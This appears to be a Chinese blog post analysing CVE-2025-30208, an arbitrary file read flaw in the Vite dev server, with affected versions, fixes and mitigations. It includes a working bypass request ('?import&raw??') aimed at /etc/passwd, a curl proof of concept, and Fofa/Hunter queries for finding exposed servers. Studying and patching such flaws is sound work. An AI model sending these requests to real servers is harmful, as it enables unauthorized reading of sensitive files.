当前位置: 首页 > news >正文

【CVE-2025-30208】| Vite-漏洞分析与复现

漏洞简介

CVE-2025-30208 是 Vite 开发服务器中的一个任意文件读取漏洞。该漏洞允许攻击者通过特定的 URL 参数绕过访问控制,从而读取服务器上的敏感文件(如 /etc/passwd 或 C:\windows\win.ini)。

该漏洞主要影响以下版本的 Vite:

  • 6.2.3 之前
  • 6.1.2 之前
  • 6.0.12 之前
  • 5.4.15 之前
  • 4.5.10 之前

漏洞原理

Vite 开发服务器提供 @fs 机制,用于防止访问 Vite 允许列表之外的文件。然而,由于 URL 解析时的正则表达式处理不当,攻击者可以通过 ?raw?? 或 ?import&raw?? 等查询参数绕过访问限制,从而读取任意文件。

影响范围

此漏洞仅影响明确将 Vite 开发服务器暴露到网络的应用程序,即使用 --host 或 server.host 配置选项的情况。

详细分析

在 Vite 服务器的 URL 处理逻辑中,@fs 机制原本用于限制对非白名单目录的访问,例如:

server: {
  fs: {
    allow: [path.resolve(__dirname, 'src')]
  }
}

然而,Vite 在 URL 解析过程中会移除部分特殊字符,而未正确考虑查询参数的影响,导致攻击者可以构造类似如下的请求绕过安全检查:

GET /@fs/etc/passwd?raw??
GET /@fs/etc/passwd?import&raw??

由于 Vite 解析 URL 时未正确处理这些参数,导致绕过 server.fs.allow 限制,并返回任意文件内容。

漏洞利用

Fofa & Hunter 搜索

攻击者可使用以下测绘语句搜索可能受影响的 Vite 服务器:

Fofa:
body="/@vite/client"

Hunter:
web.body="/@vite/client"

PoC(概念验证)

  1. 启动 Vite 服务器:

    $ npm create vite@latest
    $ cd vite-project/
    $ npm install
    $ npm run dev
    
  2. 创建测试文件:

    $ echo "top secret content" > /tmp/secret.txt
    
  3. 发送漏洞利用请求:

    # 正常情况下被拒绝
    $ curl "http://localhost:5173/@fs/tmp/secret.txt"
    
    # 绕过访问控制
    $ curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw??"
    export default "top secret content\n"
    

漏洞验证

GET /etc/passwd?import&raw?? HTTP/1.1
Host: ********

也可使用 Nuclei 进行自动化漏洞检测,以下是对应的 YAML 规则:

nuclei-验证脚本通过网盘分享的文件:CVE-2025-30208.yaml链接: https://pan.baidu.com/s/16hSpH7szUbjidG-5v9xrTw?pwd=i2hx 提取码: i2hx

修复方案

Vite 官方已在以下版本修复了该漏洞:

  • 6.2.3
  • 6.1.2
  • 6.0.12
  • 5.4.15
  • 4.5.10

版本更新

建议受影响的用户升级到最新版本,或至少升级至修复版本。

临时缓解方案

如果无法立即升级,可以采取以下措施降低风险:

  1. 限制对 Vite 开发服务器的访问

    • 仅允许本地访问,不对外开放。
    • 通过 firewall 或 nginx 进行访问控制。
  2. 使用 server.fs.deny 选项显式禁止访问敏感文件

    server: {
      fs: {
        deny: ["/etc/passwd", "/windows/win.ini"]
      }
    }
    
  3. 启用身份验证

    • 通过 HTTP Basic Auth 或 JWT 保护开发服务器。

免责声明  

本文分享的漏洞POC及相关技术仅限学习和自查用途,请勿用于非法测试或其他不当行为。传播或利用本文及相关工具所导致的任何直接或间接后果,包括法律责任和不良影响,均由使用者自行承担,文章作者概不负责。如内容涉及侵权问题,请及时联系,作者将迅速处理并致以歉意。此外,工具来源于网络,安全性需用户自行验证。感谢您的理解与支持!    

相关文章:

  • DQN与PPO在算法层面的核心区别
  • Binance Wallet
  • 2024年SEVC SCI1区:进化尺度适应差分进化算法ESADE,深度解析+性能实测
  • 运维面试题(十一)
  • 可以通过哪种方式实现安卓应用生成下载链接
  • 音视频 四 看书的笔记 MediaPlayerService
  • 《非暴力沟通》第四章 “体会和表达感受” 总结
  • 快速了解ES6Module模块化
  • CLion的坑:CMake File API : no reply dir found clion
  • 【强化学习】DAPO 论文解读
  • 什么是索引下推和索引覆盖?
  • 06-SpringBoot3入门-常见注解(简介)
  • 《破局摩尔定律:AI驱动、异构集成与工具革新重构芯片效能新范式》
  • Redis数据迁移同步
  • 乳腺超声图像结节分割
  • LeetCode算法题(Go语言实现)_15
  • 煤矿油田光伏管理新突破:安科瑞分布式监控系统如何破解高耗能行业转型难题
  • 深度学习框架PyTorch——从入门到精通(9)PyTorch简介
  • 机试题——村落基站建设
  • Java 集合中ArrayList与LinkedList的性能比较
  • 远洋渔船上的命案
  • 上昆“学馆制”10年,完成300出折子戏和20台大戏传承
  • 一周观展|一批重量级考古博物馆开馆:从凌家滩看到孙吴大墓
  • 广州医药集团有限公司原党委书记、董事长李楚源被“双开”
  • 网警打谣:传播涉刘国梁不实信息,2人被处罚
  • 侵害孩子者,必严惩不贷!3名性侵害未成年人罪犯被执行死刑